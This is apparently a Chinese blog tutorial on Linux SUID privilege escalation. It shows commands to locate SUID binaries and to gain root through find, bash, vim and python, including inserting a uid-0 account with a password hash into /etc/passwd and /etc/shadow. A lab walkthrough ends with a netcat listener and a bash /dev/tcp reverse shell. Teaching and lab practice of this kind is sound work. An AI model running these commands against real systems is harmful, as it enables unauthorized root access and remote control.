操作系统权限提升(十九)之Linux提权-SUID提权

news/2024/7/7 20:01:42

系列文章

操作系统权限提升(十八)之Linux提权-内核提权

SUID提权

SUID介绍

SUID是一种特殊权限,设置了suid的程序文件,在用户执行该程序时,用户的权限是该程序文件属主的权限,例如程序文件的属主是root,那么执行该程序的用户就将暂时获得root账户的权限。sgid与suid类似,只是执行程序时获得的是文件属组的权限。passwd这个命令程序的权限设置,它就是设置了suid权限的

在这里插入图片描述
注意以下几点:

  1. 只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义.
  2. 命令执行者要对该程序文件拥有执行(x)权限.
  3. 命令执行者在执行该程序时获得该程序文件属主的身份.
  4. SUID权限只在该程序执行过程中有效,也就是说身份改变只在程序执行过程中有效

设置SUID

chmod u+s filename 设置SUID位
chmod u-s filename 去掉SUID设置

SUID提权原理

原理:利用某些二进制文件设置了SUID权限,从而用root权限执行系统命令

常见的可以用来提权的命令如下:

nmap
vim
find
bash
more
less
nano
cp
awk
mv
更多命令查看:https://gtfobins.github.io

查找SUID文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

一、 find / -user root -perm -4000 -print 2>/dev/null

1、find 是查找文件的命令

2、/ 是从根目录开始查找

3、-user root 是文件的所属者是root

4、-perm -4000

-perm匹配权限
4000 2000 1000分别表示SUID SGID SBIT
1.普通文件,文件的权限一般三位,777最高文件权限
-perm -0777搜索的就是最高权限的文件rwxrwxrwx
-perm +0777搜索的只要包含rwxrwxrwx任意一个的文件
2.特殊文件,包含权限位置四位,7000为最高,即–s–s–t,同样的方法
-perm -7000搜索的就是最高权限的文件–s–s–t
-perm +7000搜索的只要包含–s–s–t任意一个的文件,–s — —(4000)、— –s —(2000)、— — – t(1000)等

5、-print 2>/dev/null 将标准错误输入到/dev/null文件

二、 find / -perm -u=s -type f 2>/dev/null

1、find 是查找文件的命令

2、/ 是从根目录开始查找

3、-perm -u=s 查找有s权限

4、 -type f -type b/d/c/p/l/f 查是块设备、目录、字符设备、管道、符号链接、普通文件

三、 find / -user root -perm -4000 -exec ls -ldb {};

1、find 是查找文件的命令

2、/ 是从根目录开始查找

3、-user root 是文件的所属者是root

4、-perm -4000

5、-exec ls -ldb {}; 执行 ls -ddb命令

提权实验

FIND提权

find比较常用,find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行

1、查找SUID文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

在这里插入图片描述

2、利用find提权

touch anyfile #必须要有这个文件
find anyfile -exec whoami \;
find . -exec /bin/sh -p \; -quit

在这里插入图片描述

BASH提权

bash命令是用来打开一个shell。同时它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过bash执行的命令都将以root身份去运行

1、查找SUID文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

在这里插入图片描述

2、利用bash提权

bash -p

在这里插入图片描述

VIM提权

利用vim提权的思路是修改/etc/passwd文件和/etc/shadow,为自己添加一个有root权限的用户

1、查找SUID文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

在这里插入图片描述

2、利用bash提权

第一种方式,利用vim添加账号

vim /etc/passwd 添加特权用户
添加:bob:x:0:0::/home/bob:/bin/bash
vim /etc/shadow 添加特权用户
bob:$1$salt$638tR8bROOvPnPklDQ9Vf/:19103:0:99999:7::: 密码是123456

在这里插入图片描述
在这里插入图片描述

最后我们切换到bob用户

在这里插入图片描述

第二种,利用vim打开交互shell

vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

在这里插入图片描述
在这里插入图片描述

PYTHON提权

1、查找SUID文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

在这里插入图片描述

2、利用提权

python -c 'import os;os.execl("/bin/sh", "sh", "-p")'

在这里插入图片描述

大家可以通过这篇文章来深入了解一下SUID提权 谈一谈Linux与suid提权

实战模拟

机器名IP
kali192.168.0.105
Unbuntu192.168.41.27

前期我们已经通过各种渠道拿下了Unbuntu的机器,发现是个普通用户daoer的权限

在这里插入图片描述

接下来我们利用SUID进行提权

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

在这里插入图片描述

在目标机器上找到可以利用SUID提权的命令

touch anyfile #必须要有这个文件
find anyfile -exec whoami \;
find . -exec /bin/sh -p \; -quit

在这里插入图片描述

完成提权,接下来kali机开启监听,反弹shell

nc -lvvp 8888

在这里插入图片描述

bash -i >&/dev/tcp/192.168.0.105/8888 0>&1

在这里插入图片描述

kali机收到反弹shell

在这里插入图片描述


http://lihuaxi.xjx100.cn/news/950539.html

相关文章

Java学习--网络编程

1. 网络编程入门 1.1 网络编程概述 计算机网络 是指将地理位置不同的具有独立功能的多台计算机及其外部设备,通过通信线路连接起来,在网络操作系统,网络管理软件及网络通信协议的管理和协调下,实现资源共享和信息传递的计算机系统…

动态规划初阶-爬楼梯问题

示例1: 输入:cost [10,15,20] 输出:15 解释:你将从下标为 1 的台阶开始。 - 支付 15 ,向上爬两个台阶,到达楼梯顶部。 总花费为 15 。示例2: 输入:cost [1,100,1,1,1,100,1,1,10…

C语言易错小贴士

1.数组建立以及strlen: char arr1[]"bit"; char arr2[]{b,i,t}; char arr3[]{b,i,t,\0}; 1)其中arr1数组需要注意默认为4个字符,和arr3包含的内容是一致的; 2)arr2末尾没有\0,后面是数组越界的…

【数据结构(四)】树

文章目录树1 树的基本概念1.1 树的定义1.2 基本术语1.3 数的性质2 二叉树的概念2.1 二叉树的定义与特性2.1.1 定义2.1.2 二叉树的性质2.2 几种特殊的二叉树2.2.1 满二叉树2.2.2 完全二叉树2.3 二叉树的存储结构2.3.1 顺序存储2.3.2 链式存储3 二叉树的遍历和线索二叉树3.1 二叉…

cast提前!最简单有效的神经网络优化方法,没有之一!

做优化有时候真的很头疼,绞尽脑汁的想怎么做算法等价,怎么把神经网络各层指令流水起来,在确保整网精度的同时,又有高性能。 但有时做了半天,却发现流水根本就流不起来,总是莫名其妙地被卡住。 真的是一顿…

PHP使用chilkat入门教程

前言: 我们需要先确认自己的版本,在PHP中,可以利用phpinfo()函数来查看php是ts版本还是nts版本,该方法可以展示出当前phpinfo信息,若“Thread Safety”项的信息是“enabled”,一般来说就表示ts版本&#xf…

数学小课堂:微积分复盘(高等数学本质上是对趋势的动态描述,是对各种相关性抽象的表述。)

文章目录 引言I 复盘1.1 概念和表述1.2 现实与虚构1.3 有穷和无穷1.4 静态和动态1.5 直觉和逻辑II 通过数学逻辑,理解人生。2.1 精明与聪明2.2 朋友和理性的对手2.3 攒钱和赚钱2.4 荣誉和财富引言 高等数学本质上是对趋势的动态描述,是对各种相关性抽象的表述。 I 复盘 1.…

3月来了,给自己做一个简单的nodejs后端技术总结

3月来了,给自己做一个简单的nodejs后端技术总结 3月来了,给自己做一个简单的nodejs后端技术总结 完全重构 数据库切换迁移Why Nestjs?prisma or typeorm?serverless 函数辅助GraphQLGithub Action CI/CD部署 tensorflow 模型 我又滚回来写文章了,从去年11月底…